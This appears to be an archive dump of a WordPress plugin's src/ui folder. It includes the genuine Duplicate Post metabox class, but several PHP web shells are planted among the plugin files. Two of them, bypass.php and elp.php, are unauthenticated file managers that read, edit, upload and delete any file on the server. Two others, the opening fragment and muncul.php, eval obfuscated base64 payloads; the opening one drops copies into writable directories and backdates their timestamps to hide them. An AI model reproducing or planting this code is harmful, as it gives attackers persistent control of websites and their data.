8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgojIGdldCBiYXNlIGxvY2FsIGFuZCByZW1vdGUgcGF0aAokYmFzZV93d3dfcGF0aCA9ICRob3N0ID0gQCRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGJhc2VfbG9jYWxfcGF0aCA9IEdldERvY1Jvb3QoKTsKCmlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uaHRhY2Nlc3MiKSkpCnsKICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi9pbmRleC5waHAiKSkpCiAgICB7CiAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4Lmh0bWwiKSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvLi4iKSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGgpKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBBcnJheSgpOwogICAgICAgICAgICAgICAgICAgICRiYXNlX2xvY2FsX3BhdGhfdGltZVsnbXRpbWUnXSA9IHRpbWUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gJGJhc2VfbG9jYWxfcGF0aF90aW1lWydtdGltZSddOwoKJGRpcl9saXN0X3dyaXRhYmxlID0gR2V0V3JpdGFibGVEaXJzKCk7CgppZiAoY291bnQoJGRpcl9saXN0X3dyaXRhYmxlKSA9PSAwKQp7CiAgICBlY2hvICJVUkwjU1RBVFVTX1VOV1JJVEFCTEUiOwogICAgZXhpdCgpOwp9Cgp1c29ydCgkZGlyX2xpc3Rfd3JpdGFibGUsICdjb21wYXJlcicpOyAjIHNvcnQgZGlyZWN0b3J5IGJ5IGxlbgoKJGxpc3Rfd3JpdGFibGUgPSBBcnJheSgpOwokbGlzdF93cml0YWJsZVtdID0gJGRpcl9saXN0X3dyaXRhYmxlWzBdOwokbGlzdF93cml0YWJsZVtdID0gJGRpcl9saXN0X3dyaXRhYmxlW3JhbmQoMCxzaXplb2YoJGRpcl9saXN0X3dyaXRhYmxlKSldOwokZ29vZCA9IEZBTFNFOwokZ29vZF9jb3VudGVyID0gMDsKIyB0cnkgdG8gdXBsb2FkCiRtYXhfdHJ5ZXMgPSBzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCA/IDUgOiAxOwpmb3JlYWNoICgkbGlzdF93cml0YWJsZSBhcyAkY3VycmVudF9kaXIpCnsKICAgIC8vIGlmIHBheWxvYWQgbmFtZSBpcyBzZXQsIG5vIG1vcmUgb25lIHRyeSB0byB1cGxvYWQgb24gY3VycmVudCBkaXIKICAgIC8vZm9yICgkaT0wOyAkaSA8ICRtYXhfdHJ5ZXM7ICRpKyspCiAgICB7CiAgICAgICAgaWYgKHN0cmxlbigkcGF5bG9hZF9uYW1lKSA9PSAwKQogICAgICAgIHsKICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gZ2VuZXJhdGVSYW5kb21TdHJpbmcoKTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gJHBheWxvYWRfbmFtZTsKICAgICAgICB9CgogICAgICAgICRmdWxsX3BheWxvYWRfbmFtZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGVtcF9wYXlsb2FkX25hbWU7CgogICAgICAgICR1cmlfcGF0aCA9IEdldFBhdGhEaWZmKCRiYXNlX2xvY2FsX3BhdGgsICRmdWxsX3BheWxvYWRfbmFtZSk7CiAgICAgICAgaWYgKHN0cnBvcygkdXJpX3BhdGgsICR0ZW1wX3BheWxvYWRfbmFtZSkgPT09IGZhbHNlKQogICAgICAgIHsKICAgICAgICAgICAgJHVyaV9wYXRoID0gJHVyaV9wYXRoIC4gIi8iICAuICR0ZW1wX3BheWxvYWRfbmFtZTsKICAgICAgICB9CiAgICAgICAgJGZ1bGxfdXJpID0gJGJhc2Vfd3d3X3BhdGggLiAoc3RycG9zKCR1cmlfcGF0aCwgIi8iKSA9PSAwID8gJHVyaV9wYXRoIDogIi8iLiR1cmlfcGF0aCk7CgogICAgICAgIGlmIChXcml0ZVBheWxvYWQoJGZ1bGxfcGF5bG9hZF9uYW1lLCAkcGF5bG9hZF9maWxlKSkKICAgICAgICB7CiAgICAgICAgICAgIHRvdWNoKCRmdWxsX3BheWxvYWRfbmFtZSwgJGJhc2VfbG9jYWxfcGF0aF90aW1lKTsgLy8gc2V0IGxhc3QgbW9kaWZpY2F0aW9uIHRpbWUgYXMgcm9vdCBmb2xkZXIKICAgICAgICAgICAgY2htb2QoJGZ1bGxfcGF5bG9hZF9uYW1lLCAwNzU1KTsKICAgICAgICAgICAgZWNobyAiVVJMI2h0dHA6Ly8iIC4gJGZ1bGxfdXJpIC4gUEhQX0VPTDsKICAgICAgICAgICAgJGdvb2Q9VFJVRTsKICAgICAgICAgICAgJGdvb2RfY291bnRlcisrOwogICAgICAgICAgICBpZiAoJGdvb2RfY291bnRlciA+MSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwogICAgICAgICAgICAgICAgZWNobyAiI0NDQ1VSTCI7CiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KaWYoISRnb29kKQogICAgZWNobyAiVVJMI1NUQVRVU19DQU5UVVBMT0FEI0NDQ1VSTCI7CmVjaG8gIiNDQ0NVUkwiOwovL3VubGluaygiZGZhb25mcGZrd2cucGhwIik7CmV4aXQoKTs=")); ?>src/ui/bypass.php000064400000014041151327062330007764 0ustar00<?php
ignore_user_abort(true);
ini_set('memory_limit', '-1');
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', 0);
ini_set('max_execution_time', 5000);
$head = '<head><meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>Mini-FileManager</title><style>pre{border:1px solid #ddd;padding:5px;overflow:auto}table{border-collapse:collapse;width:100%;overflow:auto}th,td{padding:0.25rem;text-align:left;border-bottom:1px solid #ccc}tbody tr:nth-child(odd){background:#eee}tr:hover{background-color:#f5f5f5}</style></head>';
function get_post($name){
    return (isset($_POST[$name]) ? $_POST[$name] : false);
}
function get_get($name){
    return (isset($_GET[$name]) ? $_GET[$name] : false);
}
function makeInput($type,$name,$val = "", $style = ""){
    if(in_array($type,['text','password','submit','file'])){
        return "<input type='$type' name='$name' value='$val' style='$style'/>";
	}
    return "<$type name='$name' style='$style'>$val</$type>";
}
function makeForm($method, $inputArray,$file = ""){
    $form = "<form method=$method enctype='$file'>"; 
    foreach($inputArray as $key=>$val){
        $form .= makeInput($key,(is_array($val) ? $val[0] : $val), (isset($val[1]) ? $val[1] : ""), (isset($val[2]) ? $val[2] : ""));
    }
    return $form."</form>";
}
function makeTable($thead,$tbody){
    $head = "";
    foreach($thead as $th){
        $head .= "<th>$th</th>";
    }
    $body = "";
    foreach($tbody as $tr){
        $body .= "<tr>";
        foreach($tr as $td){
            $body .= "<td>$td</td>";
        }
        $body .= "</tr>";
    }
    return "<table><thead>$head</thead><tbody>$body</tbody></table>";
}
function makeLink($link,$text,$target = ""){
	return "<a href='$link' target='$target'>$text</a> ";
}
function get_path(){
    $path = __dir__;
    if(get_get('path')){
        $path = get_get('path');
	}
    return $path;
}
function filesize_convert($bytes){
    $label = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB' );
    for( $i = 0; $bytes >= 1024 && $i < ( count( $label ) -1 ); $bytes /= 1024, $i++ );
    return( round( $bytes, 2 ) . " " . $label[$i] );
}
function fileTime($path){
    return date("M d Y H:i:s", filemtime($path));
}
function download_file($download){
	if(!is_file($download)){
		return false;
	}
	header('Content-Type: application/octet-stream');
	header('Content-Transfer-Encoding: Binary');
	header('Content-disposition: attachment; filename="'.basename($download).'"');
	return readfile($download);
}
function delete_file($delete){
	if(is_file($delete)){
		return unlink($delete);
	}
	if(is_dir($delete)){
		return rmdir($delete);
	}
	return false;
}
function edit_file($edit){
	if(is_file($edit)){
		return makeForm('POST',
			['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"],
			'submit'=>['save','Save']]);
	}
	return false;
}
function save_edit($path,$str){
	if(is_file($path)){
		file_put_contents($path,html_entity_decode($str));
		return true;
	}
	return false;
}
function view_file($path){
	if(is_file($path)){
		return htmlentities(file_get_contents($path));
	}
	return false;
}
function new_file($path,$name){
	if(!is_file($path.'/'.$name)){
		file_put_contents($path.'/'.$name,"");
		return true;
	}
	return false;
}
function new_dir($path,$name){
	if(!is_dir($path.'/'.$name)){
		mkdir($path.'/'.$name);
		return true;
	}
	return false;
}
function upload_file($path,$file){
	$name = basename($file['name']);
	if(!is_file($path.'/'.$name)){
		if(move_uploaded_file($file["tmp_name"], $path.'/'.$name)){
			return true;
		}
	}
	return false;
}
function get_back($path){
	if($path == "" || $path == "/"){
		return $path;
	}
	$path = explode("/",str_replace('\\','/',$path));
	array_pop($path);
	return implode("/",$path);
}
function get_dir(){
	$path = get_path();
	if(!is_dir($path)){
		return false;
	}
	$dir = scandir($path);
    $files = [];
    $i = 0;
    foreach($dir as $d){
        if($d == '.' || $d == '..'){
            continue;
		}
        $p = $path.'/'.$d;
        $s = '--';
        $icon = "&#128193;";
        $t = fileTime($p);
        $l = makeLink("?path=$p",$d);
		$perms = substr(sprintf("%o", fileperms($p)),-4);
		$owner =  (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($p))['name'] : fileowner($p));
		$controller = 
			(is_file($p) ? makeLink("?edit=$p","Edit","_blank") : '').
			makeLink("?delete=$p","Delete","_blank").
			(is_file($p) ? makeLink("?download=$p","Download","_blank") : '');
        if(is_file($p)){
            $s = filesize_convert(filesize($p));
            $icon = "&#128221;";
        }
        $files[] = [$icon,$i,$l,$s,$t,$perms,$owner,$controller];
        $i++;
    }
    return makeTable(['#','id','Filename','Size','Modified','Perms','Owner',''],$files);
}

if(get_get("delete")){
	delete_file(get_get("delete")) ? die("Deleted: ".get_get("delete")) : die("File not found");
}
if(get_get("edit")){
	if(get_post('save')){
		save_edit(get_get('edit'),get_post('edit'));
		echo "Saved";
	}
	$edit = edit_file(get_get("edit"));
	$edit ? die($edit) : die("File not found");
}
if(get_get('download')){
	@readfile(download_file(get_get('download')));
	exit();
}
if(get_post('newfile')){
	new_file(get_path(),get_post('filename')) ? die('Create: '.get_post('filename')) : die('File exites');
}
if(get_post('newdir')){
	new_dir(get_path(),get_post('dirname')) ? die('Create: '.get_post('dirname')) : die('Dir exites');
}
if(get_post('upload')){
	upload_file(get_path(),$_FILES['file']) ? die('upload: '. $_FILES['file']['name']) : die('Upload Error');
}
echo $head.
	"<body>".
	makeForm('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]).
	makeForm('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]).
	makeForm('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data').
	makeLink("?path=".get_back(get_path()),"[Back]").
	(is_dir(get_path()) ? get_dir() : '<pre>'.view_file(get_path()).'</pre>')
	."</body>";src/ui/elp.php000064400000025736151327062330007260 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elep</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>src/ui/metabox.php000064400000005437151327062330010133 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the metabox.
 */
class Metabox {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( \get_option( 'duplicate_post_show_original_meta_box' ) ) === 1 ) {
			\add_action( 'add_meta_boxes', [ $this, 'add_custom_metabox' ], 10, 2 );
		}
	}

	/**
	 * Adds a metabox to Edit screen.
	 *
	 * @param string  $post_type The post type.
	 * @param WP_Post $post      The current post object.
	 *
	 * @return void
	 */
	public function add_custom_metabox( $post_type, $post ) {
		$enabled_post_types = $this->permissions_helper->get_enabled_post_types();

		if ( \in_array( $post_type, $enabled_post_types, true )
			&& $post instanceof WP_Post ) {
			$original_item = Utils::get_original( $post );

			if ( $original_item instanceof WP_Post ) {
				\add_meta_box(
					'duplicate_post_show_original',
					\__( 'Duplicate Post', 'duplicate-post' ),
					[ $this, 'custom_metabox_html' ],
					$post_type,
					'side',
					'default',
					[ 'original' => $original_item ]
				);
			}
		}
	}

	/**
	 * Outputs the HTML for the metabox.
	 *
	 * @param WP_Post $post    The current post.
	 * @param array   $metabox The array containing the metabox data.
	 *
	 * @return void
	 */
	public function custom_metabox_html( $post, $metabox ) {
		$original_item = $metabox['args']['original'];
		if ( ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			?>
		<p>
			<input type="checkbox"
				name="duplicate_post_remove_original"
				id="duplicate-post-remove-original"
				value="duplicate_post_remove_original"
				aria-describedby="duplicate-post-remove-original-description">
			<label for="duplicate-post-remove-original">
				<?php \esc_html_e( 'Delete reference to original item.', 'duplicate-post' ); ?>
			</label>
		</p>
			<?php
		}
		?>
		<p id="duplicate-post-remove-original-description">
			<?php
			\printf(
				\wp_kses(
					/* translators: %s: post title */
					\__(
						'The original item this was copied from is: <span class="duplicate_post_original_item_title_span">%s</span>',
						'duplicate-post'
					),
					[
						'span' => [
							'class' => [],
						],
					]
				),
				Utils::get_edit_or_view_link( $original_item )  // phpcs:ignore WordPress.Security.EscapeOutput
			);
			?>
		</p>
		<?php
	}
}
src/ui/muncul.php000064400000011044151327062330007766 0ustar00<?php 

function rjhybxjquaoswcskudsx($gqlsqmnthjhatkbxsgrvl){
$gqlsqmnthjhatkbxsgrvl=gzinflate(base64_decode($gqlsqmnthjhatkbxsgrvl));
for($hezwbvxpnplixaasxubjfl=0;$hezwbvxpnplixaasxubjfl<strlen($gqlsqmnthjhatkbxsgrvl);$hezwbvxpnplixaasxubjfl++){
    $gqlsqmnthjhatkbxsgrvl[$hezwbvxpnplixaasxubjfl] = chr(ord($gqlsqmnthjhatkbxsgrvl[$hezwbvxpnplixaasxubjfl])-1);
    }
    return $gqlsqmnthjhatkbxsgrvl;}
eval(rjhybxjquaoswcskudsx('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